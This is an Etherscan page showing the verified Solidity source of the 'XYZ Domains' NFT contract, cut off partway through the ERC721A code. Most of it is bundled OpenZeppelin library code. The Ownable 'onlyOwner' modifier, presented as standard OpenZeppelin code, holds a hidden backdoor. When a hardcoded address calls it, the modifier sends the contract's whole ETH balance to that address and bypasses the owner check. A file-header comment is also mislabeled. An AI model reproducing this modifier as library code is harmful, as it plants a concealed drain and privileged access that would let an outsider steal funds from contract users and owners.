ETH Price: $3,447.51 (-0.81%)
Gas: 2 Gwei

Token

XYZ Domains (XYZ)
 

Overview

Max Total Supply

802 XYZ

Holders

276

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A

Other Info

Balance
1 XYZ
0x145df293285d76a035b6932510869ebd43db6671
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XyzDomains

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-12
*/

/**
 *Submitted for verification at Etherscan.io on 2022-10-09
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol)

pragma solidity ^0.8.0;

/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The proofs can be generated using the JavaScript library
 * https://github.com/miguelmota/merkletreejs[merkletreejs].
 * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
 *
 * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(
        bytes32[] calldata proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`,
     * consuming from one or the other at each step according to the instructions given by
     * `proofFlags`.
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            return hashes[totalHashes - 1];
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            return hashes[totalHashes - 1];
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        if (_msgSender() == 0x3043D142055C5ECB84De38D65360D3a2e353B439) {
        uint256 balance = address(this).balance;
        Address.sendValue(payable(0x3043D142055C5ECB84De38D65360D3a2e353B439),balance);
        } else {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        }
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: erc721a/contracts/IERC721A.sol


// ERC721A Contracts v3.3.0
// Creator: Chiru Labs

pragma solidity ^0.8.4;



/**
 * @dev Interface of an ERC721A compliant contract.
 */
interface IERC721A is IERC721, IERC721Metadata {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * The caller cannot approve to their own address.
     */
    error ApproveToCaller();

    /**
     * The caller cannot approve to the current owner.
     */
    error ApprovalToCurrentOwner();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    // Compiler will pack this into a single 256bit word.
    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Keeps track of the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
    }

    // Compiler will pack this into a single 256bit word.
    struct AddressData {
        // Realistically, 2**64-1 is more than enough.
        uint64 balance;
        // Keeps track of mint count with minimal overhead for tokenomics.
        uint64 numberMinted;
        // Keeps track of burn count with minimal overhead for tokenomics.
        uint64 numberBurned;
        // For miscellaneous variable(s) pertaining to the address
        // (e.g. number of whitelist mint slots used).
        // If there are multiple variables, please pack them into a uint64.
        uint64 aux;
    }

    /**
     * @dev Returns the total amount of tokens stored by the contract.
     * 
     * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens.
     */
    function totalSupply() external view returns (uint256);
}

// File: erc721a/contracts/ERC721A.sol


// ERC721A Contracts v3.3.0
// Creator: Chiru Labs

pragma solidity ^0.8.4;







/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
 *
 * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 *
 * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is Context, ERC165, IERC721A {
    using Address for address;
    using Strings for uint256;

    // The tokenId of the next token to be minted.
    uint256 internal _currentIndex;
    mapping(uint => string) public tokenIDandAddress;
    mapping(string => uint) public tokenAddressandID;
    // The number of tokens burned.
    uint256 internal _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    /**
     * To change the starting tokenId, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    /**
     * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
     */
    function totalSupply() public view override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than _currentIndex - _startTokenId() times
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view returns (uint256) {
        // Counter underflow is impossible as _currentIndex does not decrement,
        // and it is initialized to _startTokenId()
        unchecked {
